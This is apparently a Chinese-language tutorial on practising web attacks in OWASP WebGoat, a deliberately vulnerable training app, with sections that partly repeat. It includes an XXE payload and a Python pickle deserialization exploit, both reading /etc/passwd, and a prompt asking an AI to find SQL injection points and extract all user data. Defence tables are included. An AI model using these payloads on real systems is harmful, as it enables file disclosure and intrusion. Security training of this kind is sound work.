OWASP WebGoat 實戰
啟動 WebGoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat
練習漏洞(Vibe Prompt)
「WebGoat 的 SQL Injection 關卡:幫我找出注入點並取得所有使用者資料。」
XXE 攻擊
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment>
<text>&xxe;</text>
</comment>
不安全反序列化
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
payload = pickle.dumps(Exploit())
防護
| 漏洞 | 防護方式 | |------|---------| | XXE | 禁用外部實體解析 | | 不安全反序列化 | 使用安全的序列化格式 | | SSTI | 不將使用者輸入傳入模板引擎 | | SSRF | 限制伺服器請求的白名單 |
關鍵要點
OWASP WebGoat 練習課程
WebGoat 是一個故意含有漏洞的 Web 應用,用於安全訓練。
| 課程類別 | 練習內容 | |---------|---------| | 注入攻擊 | SQL Injection, NoSQL Injection, XXE | | 認證缺陷 | 密碼破解、Session 預測、JWT 攻擊 | | 存取控制 | IDOR、權限提升、路徑遍歷 | | XSS | Stored XSS, Reflected XSS, DOM XSS | | 不安全通訊 | TLS 配置錯誤、Certificate Pinning | | 不安全儲存 | 密碼儲存、敏感資料暴露 |
啟動方式
# Docker 啟動 (最簡單)
docker run -p 8080:8080 webgoat/webgoat
# 打開瀏覽器前往 http://localhost:8080/WebGoat
學習建議
建議按照以下順序練習:
- General → 了解 HTTP 基礎
- Injection → SQL Injection(最常見漏洞)
- Authentication → 認證繞過技巧
- Access Control → IDOR(OWASP Top 1)
- XSS → 跨站腳本攻擊
- Client-side → CSRF, HTML5 安全性
WebGoat:安全的駭客練習場
OWASP WebGoat 是一個故意包含漏洞的 Web 應用——你可以合法地在上面練習攻擊技術。
WebGoat 涵蓋的漏洞
| 漏洞 | 實作內容 | |:----|:--------| | SQL Injection | 繞過登入、提取資料庫內容 | | XSS | 反射型、儲存型、DOM Based | | Path Traversal | 讀取伺服器任意檔案 | | CSRF | 偽造跨站請求 |
啟動 WebGoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat
連到 http://localhost:8080/WebGoat 註冊後即可開始。
下一章預告:WAF 設定
WebGoat 讓你學會攻擊。下一章的 WAF 教你防禦——用 ModSecurity 規則阻擋攻擊。